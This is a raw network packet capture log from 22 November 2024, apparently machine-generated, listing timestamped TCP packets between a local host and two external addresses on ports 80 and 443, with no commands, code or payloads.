Nov 22, 2024 04:12:13.376815081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.376863003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.376916885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.376970053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.377712965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.377767086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.377827883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.377880096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.378586054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.378635883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.378680944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.378746986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.379487038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.379538059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.379607916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.379659891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.380388975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.380439997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.380583048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.380633116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.381257057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.381308079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.381373882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.381424904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.382132053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.382181883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.382251024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.382303953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.383033991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.383088112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.383152962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.383205891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.383913040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.383960962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.384001017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.384049892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.384787083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.384841919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.384886026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.384936094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.385679960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.385750055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.385787964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.385838985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.386573076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.386620045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.386665106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.386715889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.388072014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.388138056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.389117002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.389166117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.390391111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390403032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390430927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390441895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390450954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.390499115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.390528917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.390531063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390599966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.390610933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.390664101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.391355038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.391403913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.391541958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.391593933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.392297983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.392349005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.392484903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.392534971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.393264055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.393275023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.393316984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.394119024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.394129992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.394165993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.394198895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.394890070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.394938946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.395091057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.395143986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.395848989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.395860910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.395903111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.396666050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.396717072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.396836996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.396887064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.397581100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.397592068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.397639036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.397639036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.398174047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.398185968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.398227930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.398228884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.399063110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.399116039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.399246931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.399298906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.399715900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.399728060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.399769068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.400763988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.400818110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.555399895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.555461884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.555465937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.555514097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.555741072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.555783987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.555829048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.555872917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.556622028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.556675911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.556780100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.556826115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.557509899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.557566881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.557732105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.557780027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.558382988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.558430910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.558506012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.558551073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.559257030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.559304953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.559362888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.559407949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.560148001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.560204029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.560252905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.560300112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.561033010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.561094046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.561131954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.561197996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.561908007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.561947107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.562012911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.562050104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.562793016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.562834024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.562910080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.562947989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.563796043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.563833952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.563901901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.563950062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.564559937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.564598083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.564670086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.564707041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.565460920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.565500975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.565588951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.565627098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.566334963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.566374063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.566450119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.566488028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.567243099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.567281961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.567328930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.567370892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.568116903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.568155050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.568223000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.568263054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.568994999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.569041967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.569118023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.569158077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.569870949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.569910049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.569991112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.570029020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.570764065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.570810080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.570847034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.570887089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.571630001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.571676016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.571831942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.571871996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.572518110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.572559118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.572638988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.572678089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.573410988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.573453903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.573533058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.573571920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.574290037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.574335098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.574394941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.574435949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.575187922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.575229883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.575298071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.575335026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.576057911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.576105118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.576167107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.576205015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.576947927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.576994896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.577071905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.577111959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.577826977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.577872992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.577938080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.577977896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.578727961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.578768015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.578825951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.578876019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.579600096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.579643011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.579647064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.579684973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.580491066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.580534935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.580600977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.580646038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.581367970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.581429958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.581469059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.581509113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.582247019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.582287073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.582353115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.582391024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.583139896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.583197117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.583245039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.583287001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.584022999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.584069967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.584119081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.584158897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.584916115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.584956884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.585026026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.585066080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.585788012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.585833073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.585897923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.585932970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.586715937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.586754084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.586818933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.586857080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.587570906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.587615013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.587692976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.587732077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.588470936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.588522911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.588560104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.588593960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.589346886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.589385033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.589449883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.589488983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.590277910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.590317011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.590389967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.590428114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.591094971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.591135979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.591274023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.591320992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.591979980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.592024088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.592144012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.592183113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.592885017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.592928886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.593003035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.593045950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.593728065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.593765020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.593862057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.593900919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.594676018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.594715118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.594801903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.594839096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.595521927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.595561981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.595645905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.595684052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.596417904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.596460104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.596522093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.596560955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.597279072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.597321987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.597403049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.597456932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.598176003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.598217010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.598256111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.598295927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.598793983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.598834991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.598908901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.598947048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.599683046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.599730015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.599769115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.599809885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.600579977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.600624084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.600708961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.600750923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.601430893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.601469040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.628469944 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.628631115 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.628693104 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.656912088 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.656941891 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.656975031 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.656981945 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.721793890 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.725578070 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.740915060 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.740936995 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.741331100 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.741341114 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.741543055 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.741564035 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.741849899 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.741857052 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.756480932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.756566048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.756586075 CET	80	49760	31.41.244.11	192.168.2.4
